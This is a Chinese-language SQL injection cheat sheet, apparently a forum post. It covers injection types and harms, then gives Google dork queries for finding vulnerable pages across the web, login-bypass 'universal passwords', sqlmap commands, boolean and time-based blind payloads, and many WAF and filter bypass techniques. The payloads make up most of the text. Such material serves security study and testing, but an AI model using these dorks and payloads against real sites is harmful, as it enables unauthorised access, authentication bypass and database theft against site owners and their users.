原理

​ web应用程序对用户输入的参数没有进行严格过滤(如过滤单双引号 尖括号等),就被带到数据库执行,造成了SQL注入。

分类

根据参数

数值型注入

1、前台页面输入的参数是数字,比如下面这个根据ID查询用户的功能

2、后台对应的SQL如下,字段类型是数值型,这种就是数值型注入

select * from user where id = 2;

字符型注入

1、前台页面输入的参数是字符串,比如下面这个登录功能,输入的用户名和密码是字符串

2、后台对应的SQL如下,字段类型是字符型,这种就是字符型注入

select * from user 
where username = 'zhangsan' and password = '123abc';

3、字符可以使用单引号包裹,也可以使用双引号包裹,根据包裹字符串的引号不同,字符型注入可以分为:单引号字符型注入双引号字符型注入

提交类型

GET注入

1、使用get请求提交数据,比如 xxx.php?id=1。

POST注入

1、使用post请求提交数据,比如表单。

Cookie注入

1、使用Cookie的某个字段提交数据,比如在Cookie中保存用户信息。

HTTP Header注入

1、使用请求头提交数据,比如检测HTTP中的源地址、主机IP等。

是否回显

显注

1、前端页面可以回显用户信息,比如 联合注入、报错注入。

盲注

1、前端页面不能回显用户信息,比如 布尔盲注、时间盲注。

危害

1、数据库信息泄露。

2、网页篡改:登陆后台后发布恶意内容。

3、网站挂马 : 当拿到webshell时或者获取到服务器的权限以后,可将一些网页木马挂在服务器上,去攻击别人。

4、私自添加系统账号。

5、读写文件获取webshell。

如何挖掘

常见位置

1、登录框
2、搜索框
3、url中:xxx?id= OR xxx?num=

信息收集

Google hack语法

inurl:/search_results.php search=
inurl:’Product.asp?BigClassName
inurl:Article_Print.asp?
inurl:NewsInfo.asp?id=
inurl:EnCompHonorBig.asp?id=
inurl:NewsInfo.asp?id=
inurl:ManageLogin.asp
inurl:Offer.php?idf=
inurl:Opinions.php?id=
inurl:Page.php?id=
inurl:Pop.php?id=
inurl:Post.php?id=
inurl:Prod_info.php?id=
inurl:Product-item.php?id=
inurl:Product.php?id=
inurl:Product_ranges_view.php?ID=
inurl:Productdetail.php?id=
inurl:Productinfo.php?id=
inurl:Produit.php?id=
inurl:Profile_view.php?id=
inurl:Publications.php?id=
inurl:Stray-Questions-View.php?num=
inurl:aboutbook.php?id=
inurl:ages.php?id=
inurl:announce.php?id=
inurl:art.php?idm=
inurl:article.php?ID=
inurl:asp?id=
inurl:avd_start.php?avd=
inurl:band_info.php?id=
inurl:buy.php?category=
inurl:category.php?id=
inurl:channel_id=
inurl:chappies.php?id=
inurl:clanek.php4?id=
inurl:clubpage.php?id=
inurl:collectionitem.php?id=
inurl:communique_detail.php?id=
inurl:curriculum.php?id=
inurl:declaration_more.php?decl_id=
inurl:detail.php?ID=
inurl:download.php?id=
inurl:downloads_info.php?id=
inurl:event.php?id=
inurl:faq2.php?id=
inurl:fellows.php?id=
inurl:fiche_spectacle.php?id=
inurl:forum_bds.php?num=
inurl:galeri_info.php?l=
inurl:gallery.php?id=
inurl:game.php?id=
inurl:games.php?id=
inurl:historialeer.php?num=
inurl:hosting_info.php?id=
inurl:humor.php?id=

如何判断

登录框

手工

1、测试步骤

1)、加单引号:select * from table where name='admin'';由于加单引号后变成三个单引号,则无法执行,程序会报错。

2)、加 ' and 1=1 此时sql 语句为:select * from table where name='admin' and 1=1' ,也无法进行注入,还需要通过注释符号将其绕过;因此,构造语句为:select * from table where name ='admin' and 1=1--' 可成功执行返回结果正确。

3)、加and 1=2-- 此时sql语句为:select * from table where name='admin' and 1=2–-'则会报错。

4)、满足以上3个条件则存在字符型注入

2、测试方式

#平常测试方式
账号:zhangsan'
密码:123456'

#对比两次结果是否异常
账号:zhangsan' and 1=1#  (zhangsan' and 1=1--  zhangsan' and 1=1--+)
密码:zhangsan' and 1=1#  (zhangsan' and 1=1--  zhangsan' and 1=1--+)

账号:zhangsan' and 1=2#  (zhangsan' and 1=2--  zhangsan' and 1=2--+)
密码:zhangsan' and 1=2#  (zhangsan' and 1=2--  zhangsan' and 1=2--+)


#万能密码测试
账号:admin' or '1'='1
密码:admin' or '1'='1

账号:admin' and 1=1
密码:admin' and 1=1

账号:admin' or 1=1 or ''='
密码:admin' or 1=1 or ''='

工具

#-p参数指定的是需要测试的字段
python sqlmap.py -r data.txt -p user --level 3 --dbs --batch

搜索框

手工

#第一种测试方式
%' and '%1%'='%1
%' and '%1%'='%2

#第二种测试方式,因为有的语法是like "%"
1%  #查询包含1的数据
%   #因为没有包含数据,可以查询出所有的数据

工具

python sqlmap.py -r data.txt --level 3 --dbs --batch

url中

手工

1、测试步骤

1)、加单引号,URL:xxx.xxx.xxx/xxx.php?id=3';对应的sql:select * from table where id=3' 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常。

2)、加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=3 and 1=1;对应的sql:select * from table where id=3' and 1=1 语句执行正常,与原始页面没有差异。

3)、加and 1=2,URL:xxx.xxx.xxx/xxx.php?id=3 and 1=2;对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异。

4)、满足以上3个条件则存在数字型注入

2、测试方法

#第一种测试方式
xxx?id=1'

#第二种测试方式
xxx?id=1 and 1=1#  (xxx?id=1 and 1=1--  xxx?id=1 and 1=1--+)
xxx?id=1 and 1=2#  (xxx?id=1 and 1=2--  xxx?id=1 and 1=2--+)

#第三种测试方式
xxx?id=171-1    #正常
xxx?id=171-180  #错误

#第四种测试方式
xxx?id=171-1    #正常
xxx?id=171-180  #错误

#第五种测试方式
xxx?id=171*1    #正常
xxx?id=171*180  #错误

#第六种测试方式
xxx?id=171/1    #正常
xxx?id=171/180  #错误

工具

python sqlmap.py -r data.txt --level 3 --dbs --batch

盲注

布尔盲注

Left判断
?id=1' and left(database(),1)='s' --+
?id=1' and left(database(),2) > 'sa' --+
Like语句判断
?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1)like 'e%'--+
Ascii语句判断
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115--+

时间盲注

1、判断注入点

?id=1' and sleep(5)--+ //正常休眠
?id=1" and sleep(5)--+ //无休眠
?id=1') and sleep(5)--+//无休眠
?id=1") and sleep(5)--+//无休眠
?id=1' and if(length(database())=8,sleep(10),1)--+

bypass

绕过空格

1、playload

%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /!/ + ()

2、最基本的绕过方法,用注释替换空格:/ 注释 /

3、可以使用"+"绕过空格,"+"号到数据库后自动转换空格。

4、括号绕过空格,这种过滤方法常常用于time based盲注,例如:

?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

绕过引号

1、playload

1)、16进制
2)、ASCII编码
3)、url编码(后台要url解码)

16进制

1、使用 16 进制绕过引号。一般会使用到引号的地方是在最后的 where 子句中,比如:select * from baijiacms_user where username="admin"

2、将admin十六进制后进行查询username=0x61646D696E,还是可以成功查询

3、中文是不能采用16进制的,会报错

ASCII编码

1、admin的各个字符的ascii值为:97-100-109-105-110 。所以我们可以使用concat(char(97),char(100),char(109),char(105),char(110)) 来代替admin。

2、sql语句select * from baijiacms_user where username=concat(char(97),char(100),char(109),char(105),char(110)),成功查询

绕过逗号

1、在使用盲注的时候,会使用到 substr 、substring() 、mid() 、limit 等函数。这些函数都需要用到逗号。如果只是过滤了逗号,则对于substr、substring() 和 mid() 这两个函数可以使用from for的方式来绕过。对于limit ,可以用 offset 绕过。substr、substring、mid三个函数的功能用法均一致。

2、substr() 逗号绕过

select * from test where id=1 and (select ascii(substr(username,2,1)) from admin limit 1)>97;

select * from test where id=1 and (select ascii(substr(username from 2 for 1))from admin limit 1)>97;

3、substring() 逗号绕过

select * from test where id=1 and (select ascii(substring(username,2,1)) from admin limit 1)>97;

select * from test where id=1 and (select ascii(substring(username from 2 for 1))from admin limit 1)>97;

4、mid() 逗号绕过

select * from test where id=1 and (select ascii(mid(username,2,1)) from admin limit 1)>97;

select * from test where id=1 and (select ascii(mid(username from 2 for 1))from admin limit 1)>97;

5、limit 逗号绕过

select * from test where id=1 limit 1,2; 
select * from test where id=1 limit 2 offset 1;

绕过比较符<>

1、在使用盲注的时候,会用到二分法来比较操作符来进行操作。如果过滤了比较操作符,那么就需要使用到 greatest()和lease()来进行绕过。greatest()返回最大值,least()返回最小值。
greatest(n1,n2,n3.....)返回输入参数的最大值;
least(n1,n2,n3....)返回输入参数的最小值

2、greatest与least

select * from users where id=1 and ascii(substring(database(),0,1))>64;
select * from users where id=1 and greatest(ascii(substring(database(),0,1)),64);

select * from users where id=1 and ascii(substring(database(),0,1))<64;
select * from users where id=1 and least(ascii(substring(database(),0,1)),64);

绕过 or and xor not

1、and用 && 代替,也可以使用 ^ 代替 ;or用 || 代替 ; xor用 | 代替 ; not用 ! 代替 ;

绕过注释符

1、如果过滤了#,则可以利用 ||' 来绕过。但是这个只限于闭合后面是单引号这种情形!

select * from users where username='admin' and 1=1||'' limit 0,1

绕过等于号

1、使用 like、rlike、regexp

like:就是等于的意思
rlike:就是里面含有这个
regexp:和rlike一样,里面含有即可

绕过union,select,where等

1、使用注释符绕过

常用注释符://,-- , /**/, #, --+, -- -, ;,%00,--a

用法:U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user

2、使用大小写绕过

id=-1'UnIoN/**/SeLeCT

3、内联注释绕过

id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE \*//\*!TaBlE_ScHeMa*/ like database()#

4、 双关键字绕过(若删除掉第一个匹配的union就能绕过)

id=-1'UNIunionONSeLselectECT1,2,3–-

绕过延时函数

1、过滤目标网站过滤了延时函数如Sleep(),那么我们就必须得想其他办法使其达到延时的效果。这里我们绕过的手段是让SQL语句执行大负荷查询(笛卡尔算积),由于大负荷查询需要计算大量的数据,所以执行语句就会有延时的效果。在MySQL数据库中,都会有一个默认的information_schema数据库。这个数据库中的tables表是整个MySQL数据库表名的汇总。columns表是整个MySQL数据库列的汇总。所以我们就可以利用information_schema.tables和information_schema.columns来进行笛卡尔算积,造成大负荷查询,以至于达到延时的效果。

select*from users where id=1 and (ascii(substr(database(),1,1))>100) and (SELECT count(*) FROM information_schema.tables A, information_schema.columns B, information_schema.TABLES C);

绕过云WAF

1、又是找到真实IP,使用真实IP访问就可以绕过云WAF。

点击收藏 | 4 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖